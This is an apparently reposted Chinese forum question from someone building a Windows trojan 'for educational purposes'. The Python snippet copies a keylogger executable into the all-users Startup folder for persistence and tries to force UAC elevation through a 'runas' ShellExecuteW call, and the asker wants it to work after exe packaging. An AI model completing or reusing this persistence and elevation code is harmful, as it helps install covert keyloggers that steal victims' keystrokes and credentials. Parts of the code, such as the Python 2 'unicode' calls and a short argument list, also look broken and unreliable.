如何解决尝试将文件复制到启动时权限被拒绝 - Python 和 auto-py-to-exe
我正在创建一个简单的 Windows 特洛伊木马,用于教育目的。我正在努力将文件复制到启动。当从 CMD 执行该代码时,它按预期工作,但在转换为 exe 后,它停止工作,因为不会出现 UAC 弹出窗口。我尝试从 auto-py-to-exe 请求 UAC,但没有帮助。你知道如何让它工作吗?
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
shutil.copy(os.path.abspath("keylogger.exe"),r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp");
else:
#treid but doesnt work as well# ctypes.windll.shell32.ShellExecuteW(None,"runas",sys.executable," ".join(sys.argv),None,1)
ctypes.windll.shell32.ShellExecuteW(None,u"runas",unicode(sys.executable),unicode(" ".join(sys.argv)),1)
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。